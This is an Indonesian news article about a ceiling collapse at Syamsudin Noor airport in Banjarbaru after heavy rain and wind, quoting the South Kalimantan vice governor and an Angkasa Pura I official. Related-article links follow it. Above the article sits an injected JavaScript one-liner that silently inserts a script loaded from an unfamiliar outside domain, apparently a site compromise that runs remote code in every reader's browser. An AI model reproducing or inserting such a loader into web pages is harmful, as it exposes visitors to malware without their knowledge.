(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Musibah ambruknya plafon Bandara Internasional Syamsudin Noor Banjarmasin di Banjarbaru pada Minggu (29/12) dini hari lalu, mendapat perhatian serius dari Wakil Gubernur Kalsel Rudy Resnawan.
Ditemui usai rapat paripurna di Gedung DPRD Provinsi Kalsel pada Senin (30/12) siang, Rudy menyebut di wilayah Kecamatan Landasan Ulin di mana Bandara Syamsudin Noor berlokasi, memang rawan terhadap angin kencang. Apalagi saat kejadian, angin berhembus kencang ditambah hujan cukup deras.
“Kita mengecek di BPBD Provinsi Kalsel, bahwa (angin kencang) sudah beberapa kali. Memang di wilayah Landasan Ulin Kota Banjarbaru itu sering terjadi angin puting beliung,” kata Rudy Resnawan, Senin (30/12) siang.
Menurut Walikota Banjarbaru periode 2000-2005 dan 2005-2010 itu, karena berada di kawasan yang rawan terhadap angin kencang, kejadian angin puting beliung di kawasan Landasan Ulin cukup sering terjadi. Kendati dirinya tidak membeberkan lebih lanjut jumlah kejadiannya.
Baca: Diguyur Hujan Deras Bikin Plafon Terminal Bandara Syamsudin Noor Jebol
“Iya, (kawasan) Landasan Ulin memang terkenal dengan angin kencangnya,”. Dan BMKG juga menyatakan daerah Landasan Ulin memang rawan,” kata orang nomor dua di Kalsel ini.
Ditambahkannya, kerusakan plafon di sisi selasar keberangkatan bukan karena kerusakan fisik. Melainkan, karena faktor alam yang di luar perkiraan Angkasa Pura I sebagai pengelola bandara. “Kita lihat bukan kerusakan. Tapi karena ada kejadian ekstra, jadi tidak kuat. Ini di luar dugaan,” paparnya.
Kendati demikian, Rudy mengatakan, peristiwa ini tidak akan mengganggu operasional Bandara Internasional Syamsudin Noor. Apalagi, menurut Rudy, pengelola bandara langsung bergerak untuk memperbaiki kerusakan plafon. “Yang penting tidak mengganggu operasional bandara dan kenyamanan penumpang,” tandasnya.
Baca: Ini Penyebab Jebolnya Plafon Bandara Syamsudin Noor
Diberitakan sebelumnya, peristiwa jebolnya plafon di selasar terminal keberangkatan Bandara Internasional Syamsudin Noor Banjarmasin di Banjarbaru terjadi pada Minggu (29/12) dini hari. Ditengarai, jebolnya plafon bandara yang baru 11 hari diresmikan Presiden RI Joko Widodo ini, dikarenakan debit air hujan yang menumpuk. Akibatnya, luas areal plafon yang jebol diperkirakan seluas 15 meter persegi.
“Setelah kita analisis, plafon runtuh karena dampak dari air hujan yang lebih. Saluran pembuangannya tersumbat sampah material pembangunan beberapa waktu lalu,†kata Kepala Komunikasi dan Legal Angkasa Pura I Bandara Internasional Syamsudin Noor Aditya Putra Patria, Minggu (29/12) siang. (fikri/rico)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.